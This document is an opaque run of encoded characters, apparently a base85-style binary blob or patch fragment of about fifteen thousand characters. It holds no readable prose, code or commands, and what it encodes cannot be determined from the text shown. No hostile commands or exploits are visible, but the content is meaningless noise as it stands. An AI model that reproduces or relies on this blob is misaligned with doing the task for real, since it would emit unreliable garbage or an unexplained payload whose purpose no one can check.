zY?S)T*6Yb~%g2H6zzEY1#d29qs3)rPy#^uO%!Allg&IZ${0A(BKH{G6Fs50DnXb zz=>S^OyjLH)BN-(p!BGW6l58x88Mrv{o^*VudvF$f}>M7zU+O#qQ~*TtxVd9xL;&F z?H`>TCHi7?0C#(`Qkvi`BZI5PA_TTkXT;0|Ch7#D5bQ?D_LQo-967^4VCS<`FNzKV z#cn};8Iy(0`3d$v`E{5F<$P4MxCZeRT8glsJ=$R~F;_&%w&QW1mkyr8ON{n?+9=2Q zB*f*AF{c!5t$F2mH{dq+iiE!|7whRf;TzX3 z1+^BGS)@oa(nUv&BfR0kRdHS8R)ME#hyS*;J4yQnH+7MQ%&-)~{PRDyyo`H5bTWaj1JYVNM3~0G`(+b7b($Zi=0SjKBX> z_KlfuDm(6$sL`0$li(YLE||rkst(7+@V1g14u`$1L`476xe#=F7Q>*u>6N&}xm$!P9!}Os%l_^h1;v+wnl7o8WD5N?@ zgD#{-AJq&O`bpRz0~P~_j?sX;@(>;4y|q-n^Snmbk6zHA?igJRGdj-UU{4x~4$_fv zQXXAl04n#(pJ$W_wS&1mBF6G$KL27U$%>*qUN;QBY0WU&OLr;kWI$2W0sK<{oBL=`^|?_mcsi4Hj3T) zn-3Nb&80C4X*XyQU zjN{Q}nGk~~DD%8|4C9q>50%8I!Apr=^i9nM15fMYAZXIx*HmYn#stV{!!^L`@*8D;R?p(5){ zU(1NrDK=v_0UD{S(;rz1Z);!g?IZ;vES{|ylkl3Y6fy*Db%q8D0R*!FS!HAY{DTdY zRS=Q|5V)mgIa*Vkpx^TS6!+5f;`}bfpR7;dF;D7@&zn9Km2-D2ItA2dRkgZ z=9FL7QslxcKLygbE7}{%sk|Y@et6xYAq2(eg4D%NG{Hh#y~J=zuJ9SGUc2=C=Pa9C ziRZ;(@G1@V0c}vJW9*+l(+2EG*QO^9zapN`yve#CCwmu&xZwS&5x;WV2(Hx#e?*7; zqwpZ@p$`f#UsvWS9Eyp{7?^3YHRfB(H)hIT?Za^c&V_&9Wc zZ|8#WJ4XmFnJlrcmBlbIB5FZ(gfKqpHB@ay=DGu_Xz`6O%fMX6 zW@`(xxrk_X6W+#XF)T-i!8miwlY4Y1uJt5|d-%Db$J)sT7DFsaPwFu}F&8y~N+Kz& zZ85B|a^PCI+>$qsjgud@d8DPWi<$>Z@hb_UBewU`YcRdxfVh#K{%U%mD)R_zf! zMTIx}Nn&Ea$ysnDD-Lb`aqXnlfzyAlf+GnWY>dE|W{T;Agc1lH0ttPyBq4p1 z-IU#IHVGXaO#Sc7#9dlH>st3 zw6OJNyCiIO)LdnK(W$&U>@`&J1v$=A!B>4j4z5(kO9$r0%BANRqCpQ>d&!KiWK+^fA>-S3?*zm!-KwP-!nYn3;Len zSzpli40X_YhOU?v)=Q(jPvrb_H1S2jW^SiS=C_ed-@7PZ!FnSryve|uZ}SGd-O_q3 zbpnphMb*3v(@n9LFQvCEvr!p3z7h$w6cuU>Rg`{UjB)}S$~Oi^pqJtRRdKBq=%v^y zg`=nBkeB78wIO|vr25P0xYb5~F6QossFy~WwS$Vvu|8;))7Dn&o6hjBsyFs3O|;E) za90_MssZwR)#0B{rvMgTt6YuwD+XU#A!(T-6IyO?a-DwvES;NbZLbAK(sNW=bL^(? zJXQ(6+8?X50{7I8&98m{}aN`f-#Lb!(oj zB#q{_)03QPqSo7Yo9jN-We13IW9?g%>Zw+q2UCb|CHv;V37URK@|NUeQE-C(3vken zof(3SbM8posybr(IFexCc*r2NtTEbth(D@w(z4|p+5a1%>VTZ=^Ovv=KE~HfYx{C4 z&oo)9YU=YbT|pOzmqZh{D!yO@Z3b1N?+5fU<$B#08(`q36_mp&pWi7sEQ3*3J)d~2 zHAT_b7ql#dT@sX)2~BdWOjwhT)(v!g;7h{il15F?OyV{b{u~KC&d<#J@_6ZAh@74G z)vjjFMu$%Jt%T`FM)46^PeY~e=q6e`3Lcv|JXJ5n!;l`zaoO1~M$03y%^=uj98%6r2@V-7 zMSGTFyMyA}9Zys#$e%d2DYLh2&WGWQei+^_!s7iR7V+E1qKNIZ?Z)ICJ@GJE|lE7LJCHlP}Wo@tSclp zudo@fa1ovKVNv95b>-x@BYV-OBzi@SSB)jX_^91cOn7(HdBx91^;LdD$ood$%0+N1 zS6}sf6^P-@YO8M+fqAp^NBZ*HljC-@M4K_{v2hQN`5as7%OiN=xaXt`-Fr^+x(Lkc zq6DwYbZhFnGRBx!MsK^kGBajTqjccYST^ zUHe$|X_)QcU#`R9*X^V#zq|Iyv~|P+W18}Je!$U(jsh_tVtE9Ao<;ByHWhP z8+A|ZJ-Qe5l&%HQDW;q1c6WSl@i=|E z?xw97!>4HSW`<|0rDUF2L`zlG2!yyA`mU3OvD!TWTzYr4^u-3WdpcgVd)k?y+3v}G z2yt|fo2TYWraLCmpAXK2zX<2gu85xVdc|6Sh#WiGWsnU*%kRAYfUdvS_mgIbpM{pFNxXUXzlRbvI$SS(pKY7s7-qB{MQ zvnqi>&Y?(9W>tiQes3C#bre6uP#=$lp1 zLI13Z5Z|oI3Y{aLF{c_g>7dN22(e~WB^D{$^G%0aCI2&eg}M`qhR@Ynz9vs1C*eNiNLVCVWKMu71f4!)At# zArha;n&OBuv9>w{j!6=u_D&wMpH?x)ydMbh3f^zW%WhgcRp5ry#oIN1XFk?jv1F!O?gSlb5pFbT2+{) z8i!lXo|bXYU$daihN-H4m983kD=is%=k*nl4lY@aQEC%%U^yKAcvTrknn%iX;D4Et zEig887VB~5>nh_*D2`9kT%+)72Bhp?`*>-}YIQSb%D!0+e`1m9QX-?&g(yk6kUDZ9 z=HR=6`9ir``)DESJM@Pc%|f^LMRUGRJ@WT_LEjw0N4}tM4nYU?i^R_7=khRHsE@6O zF-Lvy804I!K0fn}&LLHZ&2k|gjm_p~kaH{>>A#A!;CG?Y;g3qjET?*|j`@<8YNn9K zOl2d_>{S1uB>3m}uL#v+_u?tfmgP?m=SX!@CM#`SUUj0h*%kM-k1+oxC~Z`P?iw}wEYLy!O9U~n9<#&mIs#khD`g41W`4kkmVdTE_|*G#oJj~vd?6vYY+A*nHS+q zl~p@t^^j+MFv+2+TQyXrY4yqZOgDMZ}vT{CwQ))-Kx)SR_ z{AT_JT!DHX?2;VxJxaBKmtGVDgCTY{Q^wzXx0e<$^WTyGrsFar+#hN7XZ-P2_a>(Z z-4cqv>Z3VbVF3xKWh{TZ?z4qBL!7SYfD)_lZq?+$$m>P5trg zdGHN~D@iAAUBM=uzV4s}itr9dyxCu5k5TkhkI^6P>p!a7^R=m377}BT@ULP&KSFz1h+XlNt}%@ z@)7z2;TzK>tf!hbR}xaRn;#B@9yK-dH2Dx3(| z|D}5N^twV@V*Zc2cWjOWIx!aiE&BTFWqx3XXg^_oJE2R=N=~`OQQ<32%OLxp>krir zVm+z#)oF)xzNdq#QZ?UzXOh0MM88PWe&1}4BQT~3V>p*$F5Q3T>o6+|CDz(s`GUF3 zkCs-%zOYlB636~^F<)36NzHevp=k3!qX>x&v~LQ;R0<1_Vldxwby%LYTw=8HolQzZ zCBzr78ShKjf$%&wW3q%pVMH?ij(Ydh=jBC4O}sll#AXbF^b zRgX2wgL2hu#(Ph6n2zZq5aqTRJD+M4hFY(q9!D%g-qDC}7Ekrohj4On4#_DtW7ywy zd_JVsN5hZtX*XU-q30T>qIhv+RO%+blv} z{KlPPHek>LR7*egZ2&JOqH#Xy42~#N%?LG@aRQXOsfCz>cgjkKb z`dnAjy^zgVDa6cqF=xz!Ak}CSYQ8c`Z3aCn*o;#`OttKgdBKos&qOE{?|o%6j8L77 zS>QIG1R<*A6A`PxcO=XLbDyBicq+syFr9)2K_-)6*EzAk_T`jF5n>hCJ}($jt*Qul zF_aq&ZANV&rdl8Sm|#e?zl)F;FG2@U;$tDE+5;Zn6a=ZpBc0@~UI~4|Cq6)ksdhS) zCyVEVRGTG2UL4@AFPpJQh^e-NuG)ei)wqpSa$Cz&(`^Pf)%u93wv>+5f*{qn${=d9 z=uOFH{3*m#n@AsML6B-mzK*(jV}^56xy?uuVygAy06Pd$t-1)M;_v^o8FeL0r9`y+ zFbGlQ9TBnK7!FINz}721ONg1X^@`_!OlFG+=~sM@5L3;1#dAQa(KCTBH|rI@FJZI5 z>J`s{s1oJSDprBdNZ89Q^Q(DRc(7&QgPFpmz#zzEoK7v|q^F zlvp9eRGZ4dSrDY!K@sxO>S87(P6{#A28B)thE#hhLSA&|i4-;iQTisCYR`D+Mi8W0 ziU@hR-=-5KiV88+F4EQ@2vV)K2&LlPPi#gb2~#N%tvduEs&o_)>lv=>V7@9GYS|E8 z92MT?kS3QdaUPx`j#lk#M!@mH$jC%x9t7Mg^l+$oh%gR1jyrJ5amK;a<+R*H2H+13`1Uug!&#y7VvKs+~_EoP-+lR z?TC(Jb1h*Yf#X#Ffnu5TtdAyxSvZed7cLj#^4g3ha=?@m;qgf3Fwu|f2oJXzxwCaP zHsoQCwN9K)q7GX99sm56-@c$M)M<>rePA=%2}(tqcWuT$Bpic!+$s4(K)7HAXE5S* zs_CfMh*f7muFh!W_SlTag1}Q-gThg)q$lWtx)8;2`2-0&5t*L@9La*i)+8FwJq+Ot zrTPwX#DwXX=e%E!L?>CDD9W8Ok8)6;Sx44%3A*q$*?DdoyU7xMoeu9-gs@XIHI(ONceUd_&hbqhpIk+82k61K{}N5VEl*T6tljTmW+F|byh z(7o1in6>R)k#Qh~Ra|CKoks~&tb$YK*O|A7hVSDmIzS#7GA6`y2u8ocJZQBG9p2De z!46Qrx6&#AFD7f<> zIU!DO`b}zPs9-_pZoNB8>cLhVL`5ml# zv4CE{IT2G_-#;_A89W&(2vW`O?cB>%|2dSXnp15kjcJ1*)%?E6z3k(Rq{QEIs=Wvq z5Dcm2cO&j)>(`YMJ#wmD33TnqAl1f;ke4=f>nJf@h^aOm%Yq@*Hj0oJKVvo}b_y}ohS1hC2vY5`2zk*HBPel4 zh^h9cy?-#IT68J>47|9*Ey;Z2g_vrWxz8X7Qmw2Ad3h}SbxKqh;^BGmr%7rFabt)5 z7)eVZ#jurL>TJg6LfqUZv5usxkYe2Ju!>}~5I2T%^McLzMMyF3Iry1mlMpx8=DU*| z5mF4(=<}MhBSPF57?MrWuC%`RBy)kJlZ4sS#j>j);Zq?zm66*!I&rW}2dZb8!Fh?~ z4*sVhM?;zM3GzH;bfObNaGJ;T@n}6Yf%}f|Xbd$c;QtXoW`wTd*ZrdqH&1hz8|v$K z4H0a|7}hVoe%E8cuj7O7cwXf=UQ={goqej=2QDSy82p{RTkX0WwlJg)3FV;{e=uV| zb>c0a0ASIM<#bx$fqATFBpid@A)}d__Qnlc3XgD|NwQL8I281llK?poU!L1iq)^qA z)NG8tp=$gZ;BFfU9w>L)!H~BxOP47Wg)>l_W0nAi%5-(LRus%uzaDv>Dmub^2-%4bdf0wgReF#fi}Cq4b(b1CW9CNtC-Ja^>mJ z>|7`=hdvACuKvA@dn9qONG^=+oLAtS#Mw|RG+*%mcf5R;dQ(BW+f~J|Uf%$JyY#mE zfOkjx(^WDT&Dr(X;vzQ=1&eSRLBcV}SI}m3uB0zD6b=s5 z9!Z#OaC~4GsQ3xDQydPVw+{}svw08-rqkOb{Y+nG@yk}$3EAOD;87Pm{C7JSN$GR& zI>&OM!|a%BF5U$Rs+b^c_R#7{Y93fCXN`rpc_htg-i&A=@jOjKeai_#qR^i%?76@s zBo3c_Z!84w<9U(9S= zuWE@T%(5@F(*?zO;)Sni9Es?BD9bV2$0EsNzWdwF?)NwcW;+hL0wbdlXU0zgo7C>A zk8TRl$NX@olKfGUvC(KPn=eL;qa@<3j`>)NBibvSD*j;m2;M5~(G4~ZWV)jtIIjB*bcCp0CBGxG zS~Pt7iAe_d*kaF64dwzoXwiR`>Md#ySt^rb9A2^$P*>lOWYa+wpQMm@(=irbr8oRC z+4O+L+bAR+V>lVfXC}nMuWKcXubo(_ysX6q?X60Y=RB>MD+%><%DGWvTL`TP&hfbg zxM1S8(Jmy~#gfvz#Q~+w2=K9FdRXGpt)vxidRDR-%j)aY=Z0{<(It-9)n=+a9P4tD ztbvYX-<^|yuSwX00i18eO)f5D3r*TNAt-Tf_FR^-KxqxNHv5?Qg2L<}jBBLhOQQ=1 z9XzK=-KCVq8fVZ5XH^LHggy#IFSAd$P2$`zC{)@T(PK z_I9U)EDnY&&W9pY93^SElHOF8qY6IkLw$LPGT$EojWrV}iMIvrW}NjNWF<0<6Iok<|gg@2k2{T?Y^q5leY zW#7~}&;XhfL;ns!=3I|c?~+e5vYTu9mYk@W$TIp#w2usIp=H9=dCGbCfgcj|4|W4? zgs`Dg{aQZ`r|}Y!iyI%lrFC0!4rn&h_mgNJi4>Vi+!pziGNpy6hkTG^lMwKamOpRn zbpOjOju%7G+gxF5BbamexsjM@)NQE+J75%@Ik6KaB)5+&5v^GKw+lt~3W!1Dzj1Qr z;a?!G4*rtow=EN4km3 zSNPu|^;Vrxy)-pbvPhz8p+Ps*jw}eFxv_ec{85~PujPZ>C`b=1yCi5wOFS zt3<3utmzWHeO49cJh#_#Mov;p#%V6|;|wQAcvo&SPWHvJtvN>1OYTMIXz(Jp3fm0- zR<|$c!f*qy!LcD6Ps1lg;B3Ux2#k$9n+un6{h5mmU3-1M!te|CyWs+NyK&pvg$Q%g z8ch-Zt_8m0yue-{+gN5`ykixctAHI<=FTY2S4witxUqH$-~4Zc@PT-^o9GVjd=AJN zK>v0ju9BK7?;}Ocd@(Qalo^|m1M(&4~xj-YyJqO<@h^m&k*p zQXJM9{=F*vz_>q#Q@HQzRN{R^Z^YoyRGh1wW0-qAI0Yivxy{WOT$Tz@Rl6?u5(r6! z+FQZtEFrv-MEuY_nDIhncLX1%+B3mHk>o|sd}?z9=cV4&<@B1{9%u(6#Jow}9Rnzq z12S#@o`Hp-xEngjj(zsKz`n3P;aEruee|IfJqM0*!-0JHXr{1-rMM=Lrji~`m+T zyOO8#Rq@BQ<<8q9oW=PI4kpn)nM#4wRnB5@i5tji(kmBL07WxVt_mj}CDC~H z*DrzPoW#8R7{qE-=Bx<1>0|c3>Us~RU@&H*_L08Cid^x(N|}~IdWCSsX&$i9vD<-1 zPW1w=kw|tXQnAjy&CYsb25YyVm|#e&364=Ni+TsVa4dE54cg5&$o8==ga>_{*-Xt4 z;^v8GV@NzgJUHpN%YxE@Fjf5j`JnsWq9;^r;3-WF!*(4+qYx5o@DK=B55{Y}s{YkzE zAls79CUZO$K*l96BUvXT0<)7hkyM(c(_tf+bRmgTCjn$)(n^wb0py`)Ac-;CueHN- zo`a7VA(1%hxu=FBLagh2SHh8);8{tD=>g) zt?|zLn4J3_A7}M7TG4C$@0q-~p7%~(bkEl-ABN-`nGZAa&CZ9V`F_oZo%#0U!-;%n z^WjFmTlw&3zOMPvKmWk|7?*!ie*BVuUVf~|za~E>6qr;1^9w8~fOQ2n6u{mB2Mgdu zfzB!DmC`Q-lT)UqV1CMy6l_V^mV*5$M^bPl*&7?YZvidm_@q~h1q zb*b2qx;queQ_rO0dg{$oJWuUX5St2aDTpHlPZY%Yf|m;7LBXd5F*$8o8h%Mzn1)Mf zSJQAO?O_^b7y6|T78hDk2saDeE`&#go)^MU?{F_Bc&B=?)VrK!px$k?0QVmA;)?es zt(Lvdyy#tcKw*q7{BvQw zy&`y8q*FRZq>oO=l=PYDSed>m9XrzZrsG8V>2%yozn6{|>0OFqV9{YkkzI6BQOqg2 zpeP;}eOeShW%SR$sEjcgn33^I1`cH$$-t?M^BFWs`NH2z=}~TYIesZZ+~{0x5XqZD zl5xE3^|I_v35mzyvX@AH6~bQ18yntWw@iqE$U@jv|Bw2#4F9Ljj(xo{fACXjCL{~1 z%k0WQY_PKn;+L?)$*SX1(MZPRGK;9;CqURsA^T%JMeP%O+l3QJ6=qbx@*1~mU`Ea5 zH8Hl)*hZMxXhtLa(r8H|u0x2p8!KvTs)6S<`qj*dEpki*)e%3X2ghV6ZRs2$V zb!pz{fBCQc#H%;B53sqA2qYK9mJa(naE3u(JO;fv?oCd03E?w)@4mYTetr z-lkn<0NK&{L~E{t3n_)4ULC~jrV4RmO4|i(X*?{1>s4Q${+iRKU+I)Bd!CXKE`YSs z*!a!SZ#YLGkd;?#V3la(Ucxg-!WFLH$sK?{PXIDStT)q%DhW%sW zKR9tMq%vNqfpPC2cppdJKmI;$eAMe>^!j1k519MIa#p}2rt3?ufGX8FMScYs1!qxxY{V&daf1gW~Iiy`$dXkd<{Ugd; zqRd;8A~$}0HR&sk*@c+16MeoK9SqrmjuRmpdSvy=!nz8-Rlw@Xt1IJB$GMv4YT|Cq9<|V?R-am!QF}&hEUUe-HV)N3 zR2!FDU2cT|tp~Kmgf*{RT|)SOE<6p=w>cE6!|#RTdUU5;SP-*12AhhVD26_z zr?YjV8bCTV8BcOl z2#doW(l_7fq-_Z0*Em7KiRk?1aMq*81IUr)7n*YtMFvvsRn0V`6CvP9tVXlFeNr9yfT_0G%54Yly{7cQ(cOHV@mN z+k1WAL%)wEFx?!|PA%O@N&niEGD9hIS5l-seMu&9k9XeqUT155Ub&K%j(SbuAfNd!`ZA`S!^YRxUtH!p4C?IVLCexJbYfe zL?Q!gs~)V%X|o@+L|t6Zc%FgdudJ$$Rn_-a$J1JaYvZ@q_rH!Cjk`3lIji_YSqY8R zN(T2Zn0@bH#O`z*N!pF&8Qa+HX(PlySS0e6#h}-+U*jNNcm}rCJkAC`&yP9>57yS( zS&su#A@MBZ6Zkr-E04*wHrL`VL?QXnx7IH?2ru@fFp8ZuQ5(iJ{#UwJ$J81NX=PpOU@Z(*we0zZ z=Ns~$YYlO`;p2vw)?_9>r>{lJx{s-tRBKW#+^W^H_RAtI{-Y?d!Q?kLS;8I+d1VoA z%;o^H@U^wP!Iy-@W87=ANMbwdEBD}0qwbBlv?U}Gk>!l{W@v!~vxYk-(X1l>h4rm> zw#L!c$6I4y+f{9`s_h@_+PuX&+`66dxYV#e`*WWPabt4Bl?`dmC8RWFy?KaLgr8WI zh(B!EGwl`)Uf`Q+sNpBp4mvTwehJ;{EgM$q)pz+U*vAO9_&G7Wi!Od}{)svu>}-FoJtsJdA=ovw_3~;{~8(0Y3dk_cn_Cfdgx2CBQhVRyt$E&GY90o zds~F!v9|e1)#?ag?eYaSwL8`h*W2Bqo8^SAXm|RnGamXS` zm~GSeMiU!hYNLgXu(kQI=Gf9|e=B6Sna)L^cAc0`4rwQR(o>c6_U4qi%eMY|NzrVZ zRd<^TNQ^xDTh*UEafUQi2TW) zYgiZ}Q!v^++Kp~;Kl7XXYox{FM9Hd5D@xdn!_G^5yW0zi$IRFj9C>{uq#~-mijBry z0}tsO6BFrd6;CqV*^+=cm{@77F}TXK-#|C+ zdBmLfHSt)MzBV04GOuI?NxR^a-k_v=IVf|SGP@;3ZefmJ9M3%=Ld=IbHhy+6Os0gWeTRMp zM;GLD&0{alrr%1(!ZHiXV11c`EKVDd;^XmPgLea+rKGQCjIe(LH} z_B4c;&#tR`g&V8g>-jb%tx3YIsy(VFpMw*YL2>z{VJ++P4Xfe_>-@x1WA0Zd?j`6o%)yp65cZ)LyB$RrXd{ z^se2zHhMSg&4wpflzUo4nd@U=H^b1mLFWco+;9b@J4zf^%EGSjN%j-s!C6;VlEFgU zIN|z}ZSh=Bo70~jf74?=}}3LfqIFdz_@H5D&J+9wd27h#MPY_mXTALMMhah(}*LtrEuD z*KnadAGVJ&NVm}7L{1UsyI^wV!^415ZYM?iNjZ1pST^}ITyyn zOpd{j5@SnXbp4t2F~7l*2D~LA8H3M%bzo2P$)FWxCGGtk8Bk&pWZ%v&X}!PD#S7(7LHgqHpS`R4ho}nvPQ? z?v%hBmIqfVJY}JBNW0*Z?yIDiq*LYwWu8ciUTn(T&kw~uQs-_~XuoD|4~F~-o{LZ< z;%Z}Ig&h@eq{4M3_;8d~w_&C+)4*-lZ5N)np1UwCY(W^-hHneU+3*YDe862Ja4_nR zDD0_psuHbe$7xMFk}J|kjk|m<)98!)p??a+!ORORM-G`}%4`>zM|>mvnTIj+-3Atf zEe*q|O6Qq;*l3-6O?>bHy3+9z`X!HM9n^P>j$!kVID(&Rw#d49zWZ9fo|}X;#gOnW zyan5Zc+f9=7AurJLfq&TK9%I05Dx~2uOhiDg#FO)WhBpqcrcj`Mr}rDKzYW~^Qg^; z7xEE(ksb}lvBXY%9m)vyV3=tnQ$YxKT$x5P^@VuQCwwFmYa+yr9^pes-V>6H7h!!# zJ`xg-C-fZ3KCet9ltb47qYDHQYjEM0um%?`L?anj@^_|&pP1c^mq6D4*R%E0sDyr= zIlRo+fU5jbVlR>rleNrOxRvJ#E6?ABSeYlx(h^)?tc9zI-8`HhoUq@F(_sA)cm>#*9O+)=<8mFUs{Af03-Go%ckz4~~up{PJ44&og z8;kw%``J{+UyHXn$NQvgMyItp1-H-Kf4ZbV)6$q_FRPLb!_~>U0#%Ush=ClDHT*f>+}w z?7p!-<_}wIO2tIOjh%7N*-x)7Z3~FDf2?*#5+M)ng?A%4E+n1%N7NP>W3?`<`Ra6y z9Ku?nv_LoJI@a)-{wXArmc==VHCN=9;5ScGmVTn)Mpx6&Z-S6alB{*h>I-hN|BDIXPzkz3^UDz1F=Q+2MAi5zV8ZQPnKRM=tpjizREJl zs)TRng>Y}y(hw|BCV)q{Q5hSfj=#y&7(P@te&`&+?%jkC zZdCb$*6oqwS;0mvV+uLsoIW}3BidsB%}$Y76lo|)rE)(6D|q8AA$*#N+y*l-81jac zkcu}GS93jL_2DO0W#0~nn$$vriJA|(B_;rtEc!s^fG!G*g`jh=;Y|+ zz^$-bVOSKtC>%G!Z-irD#J~tFi&z$cJrR2%a6jUH1U5x(io}!1Cz0qM-9H-ZOk1CE z8+0jSP>>zTTT;9P%nR8X!p%wdL(ng@Unq8l?hIugh>mPlt6int`9J#LH~@Cd&W59F zbk}GsiC)6SVyf$VQSBAqi;mq0R70I2QHarG=)1 zrdB8e6dWTkZliVRG7C;W+ipHs=;!9H#`YXf1v*89`xo7mi6PZk#jiK_3e-n}b6!{c~eb?qRv{YuceSEUmq> zHjdZ6$is%wlc2Q^%O?!9m*b;dso=7>rjIMmI~mD1nvLHdMo~ z+EbWL4r$uMThhms^u#pEjHJwmlA;%VOJ?&``KJ)GJ?L6;L@;Cxa#Dnnu{__leC*f@ ziN~UR8%drBp-EQ0aU|SM@0$VP)Mmb+B#A=u)6nY{=U)p7VMiwKg}gTB5+5mQWS-Re z*2?#Nk^KxSleQ;eW!kFud@%!Z=g>4!_wP(oXoKCvz~Ea3p~;=P9#SQluATwh~;>7GgfBE=)NH z@=0~rqpv<5Jrakrx3O4=*`-d-#H=D~if~A^S4(DLbncmKc>Tm`nEhd^VJ;&Y9{kDI znd2`Z=Hk{%Aghl0BJ=_N^&PtB9-JG;lddGuz;9DNtV!R+fqVMZber+52=d8!a46Pj)vq>2^Hapy+Vft=udny4 zgKiBLH^9aQmm6Sn<2{XWzsc;T=+ta`Gp-un@TWRCay}pB=R%5LZ1nnQtjTjL4>~9G zNx)f84_?lHL?AzgMlX-%$l^I)-x2q9N?}+Tv6U}D$w!*Fd5WsqzA{`?-5k`7Vs5wY z`DKRlxEt=QmUNgrPaMSf$So9{@k9$6=uGEK^o1gXvo;|dcN&X?6y&1WIFg!ji>hEw zo|AcSHqUj|#kc;@i8gk;u{!We?~(rYD)M-dwVRl#~zNwnb@9c=6!G+j>mQNpsQyZ@A@gZTdRQ{j$Td- zbdGXjsni80rbx2d_NqpC}O)wpfozVU=I<3z^P z-t5@sz*)yxc4Jmc49%}ySnOEoz-q?^2ezp_H;3tmlbej62IQTeyQx=lUykV|U~E9l zSmpTR4v#6Nx!wO4-Ye1u^5n6$wk+rVYe-y3 z`>iXc=d+vo+O6gNLMZtvZEA&Dy>`PVuUfLF1;(VXH4PxU3Y_4KQ{4daD5ZNUdoDuE z*6v!;q-0D@o|%kZ`6uVchDt{&;dJGzmAMH*8d9@g^0R#zojw+L!9<5j5@u_6HR(nY z?j&_f#93xXt;(C(2dP>pC}=8vhk6 zABcG4SVS$X-jXBk+w7_5J*<^z=n}Vxd1nTY?6`R(bpyyqb6)TxAs$Rhp3XU}e+Y47 zT=FE6E<)llAbCO%8ETTTBI7}iAwgld^M=FobEiO~gDn$Cr?E zFhblonRJ=tjF4m;NIFAuQAj-YBpoMtE~G5Bn8Y}uZ&5LQa*r z@o(CdPUfn5Amw!iM&uE3PIVhoD4HmQQ{6^3NpT^`KG$}og~X$$!PCf%IzqfW=LMaO zL4kirJhAC#;;f)A6p(lhtS*)6sDb#9BSgC#;;xtV;VWjlNL= z$hJZUnd5aKHL=mGvW}k831=ZY|D62noeQyg)c&y5qkbUq9(2n;h#G!k_NZS1*`pqN zR%cWbqchfVIC|-vCbcjuX(`{=Xc<)J$4$>5l0+f&LE!00GV6lYvf;4thk?5W%``T- zHn}iIEmf@#+Z2Z5VK>6iKWa!6MkP<>m)JF+hsD9f0UqVXo&VR>6v}X5UED6#9yw&V z_+dqNN6svJDWj0fuKr_PwV*(5&*apR}(X(WS%cyQ4*m}@X2gm7NL)sJMB z5Dy-^#*@qw;>JDKXp)UWI!-Jl=hf>2& z%y;l5kQud-mZvh7MIL2W=SLy*hs0y8xn?M%j;ffhJb`Rf{@nI*U7Mee#Bnt!q<08@ z<{>$>ZcyugfpHdbO1J9YJUsjqd#tsDgwnkV7Zcb8RDa5o$PoJB3MBl_Sz^D0WwUic zG?MAQuP-(H#9W?x3FJdw{#<8dt!o^Vum>}vRz&g12{A47&qm!Pto5f>W6f5dFXzN? z9!@?g8snlTL}O9z-*^o}MMfE#T;suji+v=+=ww)DI;x|`)U?$(ku@{v8~roK7`b2Q zOyaRS>?BM3r4VM@fK%bLOFJ2Ti?VAZCLYV9wy}r@0?5LswIp?HI#Uln)W^JuJ%yCS zV~k=m;U~P!d@%knJBOTU)JI*ay7V;L8_q~b8n5Gx4|(**O3>HU5CeT2vuKp&dg?-_ zurVzBQ4!QO$7gYt0~@0U>*&8mTKt?Su{@M>hUjaE=Y+lT9hgr@IaH{EK5UM$iSxMF z7kZa-!r`OBu|50`zK7FA(Ch(kRSv1vhV5a=no5k>1MW{#4-5;LM&sSkee~IAe?i9w z#$E&G!(IeSJGqV2l%|Qt8hQby%q7bFOH%aG!0sS#(|1D59`FidXE0>%?zsrr5LuYs zA|G=4oz6e4S@u2L7es#v^q4Tx7-?WD4;R2A*y%h< z7ct6}MlV+{7bb?y3ZtWfjbRvXuB?ZJ>ifu^yKzg+NYeuFH|H)Vjyf+oF(zz$7-oen zO(mO{!$1H zUQ6^ViG|g-R!6^AZ@p@BPVmLC%aX2BVxk;b=Lqv2E|gR_mtA6K2^um8DUWKeazQPd zO-_86PKNbciHQ_@MF_XY)jeI8cFjUc;J5@ zh812?7+b3BuY%>TJb4A@-+1x{N2Vg9zl@9CUWKvom5rRhdU+(f!lGn-8PVbX3p!i* zR%NaNh=d)t3vVxiiw*v4fL$%lw!reYhP`cb4$Eh$(7Y{6E5{(Iq|KP-i&4Xj<=#EK zj)Iar2b!;9SF!HJ(W`jB;y9o6XBN6N8QBDbnvH437OH?wil13^j0m3>jtzx(7UqJi zBw@BhJB#fph6BYe6vO7Mqgl9Dqgzc{%WvUIZR1;wgQQ*XNgq(s+p;KgmNMNWMFY{9 zILqCgHX~agpFxcSHEhl&K2p^9p@=S=H3^*_p~Gem^>(E{Iecv;kSiWVdZzPK8X**W zk6Tj?ypA)kpMM=Q>+Pz?CN@&1Ld%DgH5|GZ4Isx0T;WKvO#m5JU>3>0g|tHFvcHt2 zakLN`x0D@2(nSc3Tgnb687{c7 z757y{cIClbc=^gFz?}ibv@)kc3ZNKYem}B2jA&u?>K!ZitRP3%lD->D(hf4mr2%Al z+HsPTLTG{&$(KQZ6fmq0e6EkupG zj0e%HF;;s{da%{Iopb%gXBFoZ$l#JVRpmYl)k|dcPLDpG*_<3NaflVr%OeB1?DW_m z>9{er*s5ZzU}N;!z3gLpy|N5tp47J)qeRB6L8hA9m=+7<+QTa&SqW#w z>LPJF8z+sUheYF;`xxC()|ys}6HpS(F>O?T_Q&29V#5aaCAN2Mg?Ml+>RA-cHigh3 zbJRnUu0lMR61AA5mk>9yqvnyg^5~*)lM=g`g(U1mLf^`}Qr1Ddnz~!~JqUW!aoX+*TPl(NWYVhz3z62n#9vQJr=b`2oC%8h3x%LB;e zvi(VZ4(rCz9OpI?qI$<=f2JG$GZ|j4nsM!~Bx_O5%2nKUt9RCA7Gk zCRscAawI4C$?Vd*O7oanAx+V<-12g`S8hcX=N<)naHCuwlGlZ}ak*R%lGZ{zxKnNn z$=`&yalPDdk}rjLu)Az$Ugv*=xba)rXS}MuLOS45*-7P?{DX2h_3BTru|iOlB^Tr#^$m&NDc_`AiLZgmgA@p+8&piPLiIeZ%#XW@G(CB znzlG2?OYfW&g%^ALQ+-;ualnhIpz_7n5uE zv?>uo2k{A=sg)^&MvDp0C{s&_2bU6tQ05IGZk(kV0p0ot`Hq`HdL&?bkq1TiB?;yR z>iD&^Y5ZOYTa5UXB!h%_NPZ_7E`&zf@jGd3doizdap}fKW%XrR(* z6{*d>g-~mBcw18Cjx#zR;%AYj_1rjA zJD)~F8Sj_H^Z23sH2uVS>i)3x)ISgn?h7;h+WCpuZ+r=4KYpWBkyYpo>MkEwl8jbr z;C}oBX8nqg{MZ}+oS$u7AslVS-zDi#Twm1Jn2>8GyCmaV#72?= zLg*+JD@guc&7b$~H%@YV_=ym1uzKSF$&W&kG2xB*B;AC>EOCONX83^ z$L+eENnU+L=VimP`djPcRQ>DqaqZ3LZ(`x_5dNR_+PhjL2I=fJH4qgp@zkAMmpyGE zZoH^7p5z}wxTUV{V3IF|&=9#!Ka!q8xc*S*Cz8HGSOM1QMlwT)2P5iCtHbY02hhI(f>Uos?s 